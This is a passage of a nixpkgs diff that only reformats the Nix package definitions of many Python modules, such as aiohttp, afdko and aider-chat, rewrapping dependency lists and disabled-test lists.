-      "test_project_dir_with_config"
-      "test_sharding_strategy"
-      "test_state_dict_type"
-      "test_with_save_limit"
-      "test_with_scheduler"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      # RuntimeError: torch_shm_manager: execl failed: Permission denied
-      "CheckpointTest"
-    ];
+    # After enabling MPS in pytorch, these tests started failing
+    "test_accelerated_optimizer_step_was_skipped"
+    "test_auto_wrap_policy"
+    "test_autocast_kwargs"
+    "test_automatic_loading"
+    "test_backward_prefetch"
+    "test_can_resume_training"
+    "test_can_resume_training_checkpoints_relative_path"
+    "test_can_resume_training_with_folder"
+    "test_can_unwrap_model_fp16"
+    "test_checkpoint_deletion"
+    "test_cpu_offload"
+    "test_cpu_ram_efficient_loading"
+    "test_grad_scaler_kwargs"
+    "test_invalid_registration"
+    "test_map_location"
+    "test_mixed_precision"
+    "test_mixed_precision_buffer_autocast_override"
+    "test_project_dir"
+    "test_project_dir_with_config"
+    "test_sharding_strategy"
+    "test_state_dict_type"
+    "test_with_save_limit"
+    "test_with_scheduler"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    # RuntimeError: torch_shm_manager: execl failed: Permission denied
+    "CheckpointTest"
+  ];
 
   disabledTestPaths = lib.optionals (!(stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86_64)) [
     # numerous instances of torch.multiprocessing.spawn.ProcessRaisedException:
diff --git a/pkgs/development/python-modules/accupy/default.nix b/pkgs/development/python-modules/accupy/default.nix
index 35d39fed9a6f..abe10fb8b09f 100644
--- a/pkgs/development/python-modules/accupy/default.nix
+++ b/pkgs/development/python-modules/accupy/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
     mpmath
     numpy
     pyfma
-  ] ++ lib.optional (pythonOlder "3.8") importlib-metadata;
+  ]
+  ++ lib.optional (pythonOlder "3.8") importlib-metadata;
 
   nativeCheckInputs = [
     perfplot
diff --git a/pkgs/development/python-modules/acquire/default.nix b/pkgs/development/python-modules/acquire/default.nix
index 515d60a8a918..deef57c402bb 100644
--- a/pkgs/development/python-modules/acquire/default.nix
+++ b/pkgs/development/python-modules/acquire/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
       requests
       requests-toolbelt
       rich
-    ] ++ dissect-target.optional-dependencies.full;
+    ]
+    ++ dissect-target.optional-dependencies.full;
   };
 
   nativeCheckInputs = [ pytestCheckHook ] ++ optional-dependencies.full;
diff --git a/pkgs/development/python-modules/adb-shell/default.nix b/pkgs/development/python-modules/adb-shell/default.nix
index 3aaf814b608c..c62ff7228b50 100644
--- a/pkgs/development/python-modules/adb-shell/default.nix
+++ b/pkgs/development/python-modules/adb-shell/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     mock
     pycryptodome
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "adb_shell" ];
 
diff --git a/pkgs/development/python-modules/adblock/default.nix b/pkgs/development/python-modules/adblock/default.nix
index 66e6f1377943..d60476b708ee 100644
--- a/pkgs/development/python-modules/adblock/default.nix
+++ b/pkgs/development/python-modules/adblock/default.nix
@@ -49,18 +49,20 @@ buildPythonPackage rec {
     hash = "sha256-fetJX6HQxRZ/Az7rJeU9S+s8ttgNPnJEvTLfzGt4xjk=";
   };
 
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ (with rustPlatform; [
-      cargoSetupHook
-      maturinBuildHook
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ (with rustPlatform; [
+    cargoSetupHook
+    maturinBuildHook
+  ]);
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   PSL_PATH = "${publicsuffix-list}/share/publicsuffix/public_suffix_list.dat";
 
diff --git a/pkgs/development/python-modules/aenum/default.nix b/pkgs/development/python-modules/aenum/default.nix
index 7639b8ac9fdc..5c81bff1e9a7 100644
--- a/pkgs/development/python-modules/aenum/default.nix
+++ b/pkgs/development/python-modules/aenum/default.nix
@@ -30,21 +30,20 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "aenum" ];
 
-  disabledTests =
-    [
-      # https://github.com/ethanfurman/aenum/issues/27
-      "test_class_nested_enum_and_pickle_protocol_four"
-      "test_pickle_enum_function_with_qualname"
-      "test_stdlib_inheritence"
-      "test_subclasses_with_getnewargs_ex"
-      "test_arduino_headers"
-      "test_c_header_scanner"
-      "test_extend_flag_backwards_stdlib"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # AttributeError: <enum 'Color'> has no attribute 'value'. Did you mean: 'blue'?
-      "test_extend_enum_shadow_property_stdlib"
-    ];
+  disabledTests = [
+    # https://github.com/ethanfurman/aenum/issues/27
+    "test_class_nested_enum_and_pickle_protocol_four"
+    "test_pickle_enum_function_with_qualname"
+    "test_stdlib_inheritence"
+    "test_subclasses_with_getnewargs_ex"
+    "test_arduino_headers"
+    "test_c_header_scanner"
+    "test_extend_flag_backwards_stdlib"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # AttributeError: <enum 'Color'> has no attribute 'value'. Did you mean: 'blue'?
+    "test_extend_enum_shadow_property_stdlib"
+  ];
 
   meta = with lib; {
     description = "Advanced Enumerations (compatible with Python's stdlib Enum), NamedTuples, and NamedConstants";
diff --git a/pkgs/development/python-modules/afdko/default.nix b/pkgs/development/python-modules/afdko/default.nix
index 10a8e90fa235..6a856942f227 100644
--- a/pkgs/development/python-modules/afdko/default.nix
+++ b/pkgs/development/python-modules/afdko/default.nix
@@ -80,23 +80,22 @@ buildPythonPackage rec {
   # setup.py will always (re-)execute cmake in buildPhase
   dontConfigure = true;
 
-  dependencies =
-    [
-      booleanoperations
-      defcon
-      fontmath
-      fontpens
-      fonttools
-      mutatormath
-      tqdm
-      ufonormalizer
-      ufoprocessor
-    ]
-    ++ defcon.optional-dependencies.lxml
-    ++ fonttools.optional-dependencies.lxml
-    ++ fonttools.optional-dependencies.ufo
-    ++ fonttools.optional-dependencies.unicode
-    ++ fonttools.optional-dependencies.woff;
+  dependencies = [
+    booleanoperations
+    defcon
+    fontmath
+    fontpens
+    fonttools
+    mutatormath
+    tqdm
+    ufonormalizer
+    ufoprocessor
+  ]
+  ++ defcon.optional-dependencies.lxml
+  ++ fonttools.optional-dependencies.lxml
+  ++ fonttools.optional-dependencies.ufo
+  ++ fonttools.optional-dependencies.unicode
+  ++ fonttools.optional-dependencies.woff;
 
   # Use system libxml2
   FORCE_SYSTEM_LIBXML2 = true;
@@ -110,40 +109,39 @@ buildPythonPackage rec {
     rm -rf _skbuild
   '';
 
-  disabledTests =
-    [
-      # broke in the fontforge 4.51 -> 4.53 update
-      "test_glyphs_2_7"
-      "test_hinting_data"
-      "test_waterfallplot"
-      # broke at some point
-      "test_type1_supported_hint"
-    ]
-    ++ lib.optionals (stdenv.cc.isGNU) [
-      # broke in the gcc 13 -> 14 update
-      "test_dump"
-      "test_input_formats"
-      "test_other_input_formats"
-    ]
-    ++ lib.optionals (!runAllTests) [
-      # Disable slow tests, reduces test time ~25 %
-      "test_report"
-      "test_post_overflow"
-      "test_cjk"
-      "test_extrapolate"
-      "test_filename_without_dir"
-      "test_overwrite"
-      "test_options"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isAarch || stdenv.hostPlatform.isRiscV) [
-      # unknown reason so far
-      # https://github.com/adobe-type-tools/afdko/issues/1425
-      "test_spec"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isi686) [
-      "test_dump_option"
-      "test_type1mm_inputs"
-    ];
+  disabledTests = [
+    # broke in the fontforge 4.51 -> 4.53 update
+    "test_glyphs_2_7"
+    "test_hinting_data"
+    "test_waterfallplot"
+    # broke at some point
+    "test_type1_supported_hint"
+  ]
+  ++ lib.optionals (stdenv.cc.isGNU) [
+    # broke in the gcc 13 -> 14 update
+    "test_dump"
+    "test_input_formats"
+    "test_other_input_formats"
+  ]
+  ++ lib.optionals (!runAllTests) [
+    # Disable slow tests, reduces test time ~25 %
+    "test_report"
+    "test_post_overflow"
+    "test_cjk"
+    "test_extrapolate"
+    "test_filename_without_dir"
+    "test_overwrite"
+    "test_options"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isAarch || stdenv.hostPlatform.isRiscV) [
+    # unknown reason so far
+    # https://github.com/adobe-type-tools/afdko/issues/1425
+    "test_spec"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isi686) [
+    "test_dump_option"
+    "test_type1mm_inputs"
+  ];
 
   passthru.tests = {
     fullTestsuite = afdko.override { runAllTests = true; };
diff --git a/pkgs/development/python-modules/aider-chat/default.nix b/pkgs/development/python-modules/aider-chat/default.nix
index 72fe6f9f4a50..61bc66f384b4 100644
--- a/pkgs/development/python-modules/aider-chat/default.nix
+++ b/pkgs/development/python-modules/aider-chat/default.nix
@@ -270,32 +270,31 @@ let
       "tests/help/test_help.py"
     ];
 
-    disabledTests =
-      [
-        # Tests require network
-        "test_urls"
-        "test_get_commit_message_with_custom_prompt"
-        # FileNotFoundError
-        "test_get_commit_message"
-        # Expected 'launch_gui' to have been called once
-        "test_browser_flag_imports_streamlit"
-        # AttributeError
-        "test_simple_send_with_retries"
-        # Expected 'check_version' to have been called once
-        "test_main_exit_calls_version_check"
-        # AssertionError: assert 2 == 1
-        "test_simple_send_non_retryable_error"
-        # Broken tests (Aider-AI/aider#3679)
-        "test_language_ocaml"
-        "test_language_ocaml_interface"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        # Tests fails on darwin
-        "test_dark_mode_sets_code_theme"
-        "test_default_env_file_sets_automatic_variable"
-        # FileNotFoundError: [Errno 2] No such file or directory: 'vim'
-        "test_pipe_editor"
-      ];
+    disabledTests = [
+      # Tests require network
+      "test_urls"
+      "test_get_commit_message_with_custom_prompt"
+      # FileNotFoundError
+      "test_get_commit_message"
+      # Expected 'launch_gui' to have been called once
+      "test_browser_flag_imports_streamlit"
+      # AttributeError
+      "test_simple_send_with_retries"
+      # Expected 'check_version' to have been called once
+      "test_main_exit_calls_version_check"
+      # AssertionError: assert 2 == 1
+      "test_simple_send_non_retryable_error"
+      # Broken tests (Aider-AI/aider#3679)
+      "test_language_ocaml"
+      "test_language_ocaml_interface"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      # Tests fails on darwin
+      "test_dark_mode_sets_code_theme"
+      "test_default_env_file_sets_automatic_variable"
+      # FileNotFoundError: [Errno 2] No such file or directory: 'vim'
+      "test_pipe_editor"
+    ];
 
     makeWrapperArgs = [
       "--set"
@@ -359,8 +358,7 @@ let
               ++ lib.optionals (withAll || withBedrock) aider-chat.optional-dependencies.bedrock;
 
             propagatedBuildInputs =
-              propagatedBuildInputs
-              ++ lib.optionals (withAll || withPlaywright) [ playwright-driver.browsers ];
+              propagatedBuildInputs ++ lib.optionals (withAll || withPlaywright) [ playwright-driver.browsers ];
 
             makeWrapperArgs =
               makeWrapperArgs
diff --git a/pkgs/development/python-modules/aioboto3/default.nix b/pkgs/development/python-modules/aioboto3/default.nix
index e96167296eab..89a745cf0f57 100644
--- a/pkgs/development/python-modules/aioboto3/default.nix
+++ b/pkgs/development/python-modules/aioboto3/default.nix
@@ -41,22 +41,22 @@ buildPythonPackage rec {
   dependencies = [
     aiobotocore
     aiofiles
-  ] ++ aiobotocore.optional-dependencies.boto3;
+  ]
+  ++ aiobotocore.optional-dependencies.boto3;
 
   optional-dependencies = {
     chalice = [ chalice ];
     s3cse = [ cryptography ];
   };
 
-  nativeCheckInputs =
-    [
-      dill
-      moto
-      pytest-asyncio
-      pytestCheckHook
-    ]
-    ++ moto.optional-dependencies.server
-    ++ lib.flatten (builtins.attrValues optional-dependencies);
+  nativeCheckInputs = [
+    dill
+    moto
+    pytest-asyncio
+    pytestCheckHook
+  ]
+  ++ moto.optional-dependencies.server
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "aioboto3" ];
 
diff --git a/pkgs/development/python-modules/aiobotocore/default.nix b/pkgs/development/python-modules/aiobotocore/default.nix
index 75cbc510ccf0..471986edd346 100644
--- a/pkgs/development/python-modules/aiobotocore/default.nix
+++ b/pkgs/development/python-modules/aiobotocore/default.nix
@@ -67,7 +67,8 @@ buildPythonPackage rec {
     time-machine
     werkzeug
     pytestCheckHook
-  ] ++ moto.optional-dependencies.server;
+  ]
+  ++ moto.optional-dependencies.server;
 
   pythonImportsCheck = [ "aiobotocore" ];
 
diff --git a/pkgs/development/python-modules/aiocache/default.nix b/pkgs/development/python-modules/aiocache/default.nix
index 1d837754cb93..7ade263fb543 100644
--- a/pkgs/development/python-modules/aiocache/default.nix
+++ b/pkgs/development/python-modules/aiocache/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     pytest-mock
     pytestCheckHook
     redisTestHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [
     "-W"
@@ -57,20 +58,19 @@ buildPythonPackage rec {
     "-x"
   ];
 
-  disabledTests =
-    [
-      # Test calls apache benchmark and fails, no usable output
-      "test_concurrency_error_rates"
-      # susceptible to timing out / short ttl
-      "test_cached_stampede"
-      "test_locking_dogpile_lease_expiration"
-      "test_set_ttl_handle"
-      "test_set_cancel_previous_ttl_handle"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/aio-libs/aiocache/issues/863
-      "test_cache_write_doesnt_wait_for_future"
-    ];
+  disabledTests = [
+    # Test calls apache benchmark and fails, no usable output
+    "test_concurrency_error_rates"
+    # susceptible to timing out / short ttl
+    "test_cached_stampede"
+    "test_locking_dogpile_lease_expiration"
+    "test_set_ttl_handle"
+    "test_set_cancel_previous_ttl_handle"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/aio-libs/aiocache/issues/863
+    "test_cache_write_doesnt_wait_for_future"
+  ];
 
   disabledTestPaths = [
     # Benchmark and performance tests are not relevant for Nixpkgs
diff --git a/pkgs/development/python-modules/aioesphomeapi/default.nix b/pkgs/development/python-modules/aioesphomeapi/default.nix
index 3002e405e6d0..4102adfaabc4 100644
--- a/pkgs/development/python-modules/aioesphomeapi/default.nix
+++ b/pkgs/development/python-modules/aioesphomeapi/default.nix
@@ -53,7 +53,8 @@ buildPythonPackage rec {
     noiseprotocol
     protobuf
     zeroconf
-  ] ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/aioftp/default.nix b/pkgs/development/python-modules/aioftp/default.nix
index d40ada974b8e..dfed5e36a863 100644
--- a/pkgs/development/python-modules/aioftp/default.nix
+++ b/pkgs/development/python-modules/aioftp/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     pytest-mock
     pytestCheckHook
     trustme
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTests = lib.optionals stdenv.hostPlatform.isDarwin [
     # uses 127.0.0.2, which macos doesn't like
diff --git a/pkgs/development/python-modules/aiogram/default.nix b/pkgs/development/python-modules/aiogram/default.nix
index 27c269c90ccf..a72a5dece43a 100644
--- a/pkgs/development/python-modules/aiogram/default.nix
+++ b/pkgs/development/python-modules/aiogram/default.nix
@@ -74,7 +74,8 @@ buildPythonPackage rec {
     pytest-lazy-fixture
     pytestCheckHook
     pytz
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "aiogram" ];
 
diff --git a/pkgs/development/python-modules/aiohomeconnect/default.nix b/pkgs/development/python-modules/aiohomeconnect/default.nix
index fd547a0455ff..61fa954b2655 100644
--- a/pkgs/development/python-modules/aiohomeconnect/default.nix
+++ b/pkgs/development/python-modules/aiohomeconnect/default.nix
@@ -53,7 +53,8 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytest-httpx
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "aiohomeconnect" ];
 
diff --git a/pkgs/development/python-modules/aiohttp-client-cache/default.nix b/pkgs/development/python-modules/aiohttp-client-cache/default.nix
index 23e833ac89ed..b4f4bfdfd8b8 100644
--- a/pkgs/development/python-modules/aiohttp-client-cache/default.nix
+++ b/pkgs/development/python-modules/aiohttp-client-cache/default.nix
@@ -64,7 +64,8 @@ buildPythonPackage rec {
     faker
     pytest-aiohttp
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "aiohttp_client_cache" ];
 
diff --git a/pkgs/development/python-modules/aiohttp-socks/default.nix b/pkgs/development/python-modules/aiohttp-socks/default.nix
index 0b2539fa9b28..2200c9260e96 100644
--- a/pkgs/development/python-modules/aiohttp-socks/default.nix
+++ b/pkgs/development/python-modules/aiohttp-socks/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
   dependencies = [
     aiohttp
     python-socks
-  ] ++ python-socks.optional-dependencies.asyncio;
+  ]
+  ++ python-socks.optional-dependencies.asyncio;
 
   # Checks needs internet access
   doCheck = false;
diff --git a/pkgs/development/python-modules/aiohttp/default.nix b/pkgs/development/python-modules/aiohttp/default.nix
index ec2dc52ec18d..695016ac4ac1 100644
--- a/pkgs/development/python-modules/aiohttp/default.nix
+++ b/pkgs/development/python-modules/aiohttp/default.nix
@@ -86,7 +86,8 @@ buildPythonPackage rec {
     multidict
     propcache
     yarl
-  ] ++ optional-dependencies.speedups;
+  ]
+  ++ optional-dependencies.speedups;
 
   optional-dependencies.speedups = [
     aiodns
@@ -107,40 +108,38 @@ buildPythonPackage rec {
     trustme
   ];
 
-  disabledTests =
-    [
-      # Disable tests that require network access
-      "test_client_session_timeout_zero"
-      "test_mark_formdata_as_processed"
-      "test_requote_redirect_url_default"
-      # don't run benchmarks
-      "test_import_time"
-    ]
-    # these tests fail with python310 but succeeds with 11+
-    ++ lib.optionals isPy310 [
-      "test_https_proxy_unsupported_tls_in_tls"
-      "test_tcp_connector_raise_connector_ssl_error"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.is32bit [ "test_cookiejar" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_addresses" # https://github.com/aio-libs/aiohttp/issues/3572, remove >= v4.0.0
-      "test_close"
-    ];
+  disabledTests = [
+    # Disable tests that require network access
+    "test_client_session_timeout_zero"
+    "test_mark_formdata_as_processed"
+    "test_requote_redirect_url_default"
+    # don't run benchmarks
+    "test_import_time"
+  ]
+  # these tests fail with python310 but succeeds with 11+
+  ++ lib.optionals isPy310 [
+    "test_https_proxy_unsupported_tls_in_tls"
+    "test_tcp_connector_raise_connector_ssl_error"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.is32bit [ "test_cookiejar" ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_addresses" # https://github.com/aio-libs/aiohttp/issues/3572, remove >= v4.0.0
+    "test_close"
+  ];
 
   __darwinAllowLocalNetworking = true;
 
-  preCheck =
-    ''
-      # aiohttp in current folder shadows installed version
-      rm -r aiohttp
-      touch tests/data.unknown_mime_type # has to be modified after 1 Jan 1990
+  preCheck = ''
+    # aiohttp in current folder shadows installed version
+    rm -r aiohttp
+    touch tests/data.unknown_mime_type # has to be modified after 1 Jan 1990
 
-      export HOME=$(mktemp -d)
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Work around "OSError: AF_UNIX path too long"
-      export TMPDIR="/tmp"
-    '';
+    export HOME=$(mktemp -d)
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Work around "OSError: AF_UNIX path too long"
+    export TMPDIR="/tmp"
+  '';
 
   meta = with lib; {
     changelog = "https://github.com/aio-libs/aiohttp/blob/v${version}/CHANGES.rst";
diff --git a/pkgs/development/python-modules/aiojobs/default.nix b/pkgs/development/python-modules/aiojobs/default.nix
index 181e98b63fff..bdfdf0c16571 100644
--- a/pkgs/development/python-modules/aiojobs/default.nix
+++ b/pkgs/development/python-modules/aiojobs/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pytest-aiohttp
     pytest-cov-stub
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "aiojobs" ];
 
diff --git a/pkgs/development/python-modules/aiomisc/default.nix b/pkgs/development/python-modules/aiomisc/default.nix
index c4c3be7e1e19..abc2be1efd8c 100644
--- a/pkgs/development/python-modules/aiomisc/default.nix
+++ b/pkgs/development/python-modules/aiomisc/default.nix
@@ -34,10 +34,11 @@ buildPythonPackage rec {
 
   build-system = [ poetry-core ];
 
-  dependencies =
-    [ colorlog ]
-    ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ logging-journald ];
+  dependencies = [
+    colorlog
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ logging-journald ];
 
   nativeCheckInputs = [
     aiocontextvars
@@ -45,7 +46,8 @@ buildPythonPackage rec {
     fastapi
     pytestCheckHook
     setproctitle
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   optional-dependencies = {
     aiohttp = [ aiohttp ];
diff --git a/pkgs/development/python-modules/aioprometheus/default.nix b/pkgs/development/python-modules/aioprometheus/default.nix
index 2dc49ae5b1f8..d1d429e484eb 100644
--- a/pkgs/development/python-modules/aioprometheus/default.nix
+++ b/pkgs/development/python-modules/aioprometheus/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     httpx
     fastapi
     uvicorn
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "aioprometheus" ];
 
diff --git a/pkgs/development/python-modules/aioredis/default.nix b/pkgs/development/python-modules/aioredis/default.nix
index aef2e406036e..e941d557ca43 100644
--- a/pkgs/development/python-modules/aioredis/default.nix
+++ b/pkgs/development/python-modules/aioredis/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     async-timeout
     typing-extensions
-  ] ++ lib.optional (!isPyPy) hiredis;
+  ]
+  ++ lib.optional (!isPyPy) hiredis;
 
   # Wants to run redis-server, hardcoded FHS paths, too much trouble.
   doCheck = false;
diff --git a/pkgs/development/python-modules/aiorpcx/default.nix b/pkgs/development/python-modules/aiorpcx/default.nix
index e17bb9db840d..c5e50ed86cba 100644
--- a/pkgs/development/python-modules/aiorpcx/default.nix
+++ b/pkgs/development/python-modules/aiorpcx/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-asyncio
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [
     # network access
diff --git a/pkgs/development/python-modules/aiortm/default.nix b/pkgs/development/python-modules/aiortm/default.nix
index 15d9bee935be..4bc009caa27c 100644
--- a/pkgs/development/python-modules/aiortm/default.nix
+++ b/pkgs/development/python-modules/aiortm/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-cov-stub
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "aiortm" ];
 
diff --git a/pkgs/development/python-modules/aiosmtpd/default.nix b/pkgs/development/python-modules/aiosmtpd/default.nix
index 28d13a1f6dcb..72760643dffe 100644
--- a/pkgs/development/python-modules/aiosmtpd/default.nix
+++ b/pkgs/development/python-modules/aiosmtpd/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     atpublic
     attrs
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   nativeCheckInputs = [
     pytest-mock
diff --git a/pkgs/development/python-modules/aioswitcher/default.nix b/pkgs/development/python-modules/aioswitcher/default.nix
index 72d1c8dd8ac7..c21b891d8299 100644
--- a/pkgs/development/python-modules/aioswitcher/default.nix
+++ b/pkgs/development/python-modules/aioswitcher/default.nix
@@ -57,19 +57,18 @@ buildPythonPackage rec {
     time-machine
   ];
 
-  disabledTests =
-    [
-      # AssertionError: Expected <14:00> to be equal to <17:00>, but was not.
-      "test_schedule_parser_with_a_weekly_recurring_enabled_schedule_data"
-      "test_schedule_parser_with_a_daily_recurring_enabled_schedule_data"
-      "test_schedule_parser_with_a_partial_daily_recurring_enabled_schedule_data"
-      "test_schedule_parser_with_a_non_recurring_enabled_schedule_data"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # ssertionError: Expected <'I' format requires 0 <= number <= 4294967295> to be equal to <argument out of range>, but was not.
-      "test_minutes_to_hexadecimal_seconds_with_a_negative_value_should_throw_an_error"
-      "test_current_timestamp_to_hexadecimal_with_errornous_value_should_throw_an_error"
-    ];
+  disabledTests = [
+    # AssertionError: Expected <14:00> to be equal to <17:00>, but was not.
+    "test_schedule_parser_with_a_weekly_recurring_enabled_schedule_data"
+    "test_schedule_parser_with_a_daily_recurring_enabled_schedule_data"
+    "test_schedule_parser_with_a_partial_daily_recurring_enabled_schedule_data"
+    "test_schedule_parser_with_a_non_recurring_enabled_schedule_data"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # ssertionError: Expected <'I' format requires 0 <= number <= 4294967295> to be equal to <argument out of range>, but was not.
+    "test_minutes_to_hexadecimal_seconds_with_a_negative_value_should_throw_an_error"
+    "test_current_timestamp_to_hexadecimal_with_errornous_value_should_throw_an_error"
+  ];
 
   pythonImportsCheck = [ "aioswitcher" ];
 
diff --git a/pkgs/development/python-modules/aiovlc/default.nix b/pkgs/development/python-modules/aiovlc/default.nix
index c284c4f07993..5f91b6c75d26 100644
--- a/pkgs/development/python-modules/aiovlc/default.nix
+++ b/pkgs/development/python-modules/aiovlc/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytest-timeout
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "aiovlc" ];
 
diff --git a/pkgs/development/python-modules/aioxmpp/default.nix b/pkgs/development/python-modules/aioxmpp/default.nix
index d535db4cd727..d5a59dd367b0 100644
--- a/pkgs/development/python-modules/aioxmpp/default.nix
+++ b/pkgs/development/python-modules/aioxmpp/default.nix
@@ -75,23 +75,22 @@ buildPythonPackage rec {
 
   disabledTestPaths = [ "benchmarks" ];
 
-  disabledTests =
-    [
-      # AttributeError: 'zoneinfo.ZoneInfo' object has no attribute 'normalize'
-      "test_convert_field_datetime_default_locale"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # asyncio issues
-      "test_is_abstract"
-      "Testbackground"
-      "TestCapturingXSO"
-      "Testcheck_x509"
-      "TestClient"
-      "TestIntegerType"
-      "TestStanzaStream"
-      "TestStanzaToken"
-      "TestXMLStream"
-    ];
+  disabledTests = [
+    # AttributeError: 'zoneinfo.ZoneInfo' object has no attribute 'normalize'
+    "test_convert_field_datetime_default_locale"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # asyncio issues
+    "test_is_abstract"
+    "Testbackground"
+    "TestCapturingXSO"
+    "Testcheck_x509"
+    "TestClient"
+    "TestIntegerType"
+    "TestStanzaStream"
+    "TestStanzaToken"
+    "TestXMLStream"
+  ];
 
   meta = {
     description = "Pure-python XMPP library for asyncio";
diff --git a/pkgs/development/python-modules/ale-py/default.nix b/pkgs/development/python-modules/ale-py/default.nix
index e84fc014257b..232d10a36268 100644
--- a/pkgs/development/python-modules/ale-py/default.nix
+++ b/pkgs/development/python-modules/ale-py/default.nix
@@ -50,14 +50,13 @@ buildPythonPackage rec {
     setuptools
   ];
 
-  buildInputs =
-    [
-      SDL2
-      zlib
-    ]
-    ++ lib.optionals withVectorEnv [
-      opencv
-    ];
+  buildInputs = [
+    SDL2
+    zlib
+  ]
+  ++ lib.optionals withVectorEnv [
+    opencv
+  ];
 
   dependencies = [
     gymnasium
@@ -87,14 +86,13 @@ buildPythonPackage rec {
 
   doCheck = false;
 
-  nativeCheckInputs =
-    [
-      gymnasium
-      pytestCheckHook
-    ]
-    + lib.optionals withVectorEnv [
-      opencv-python
-    ];
+  nativeCheckInputs = [
+    gymnasium
+    pytestCheckHook
+  ]
+  + lib.optionals withVectorEnv [
+    opencv-python
+  ];
 
   disabledTests = [
     # Fatal Python error: Aborted
diff --git a/pkgs/development/python-modules/alembic/default.nix b/pkgs/development/python-modules/alembic/default.nix
index f2bf73ea5021..3ea57cab5cea 100644
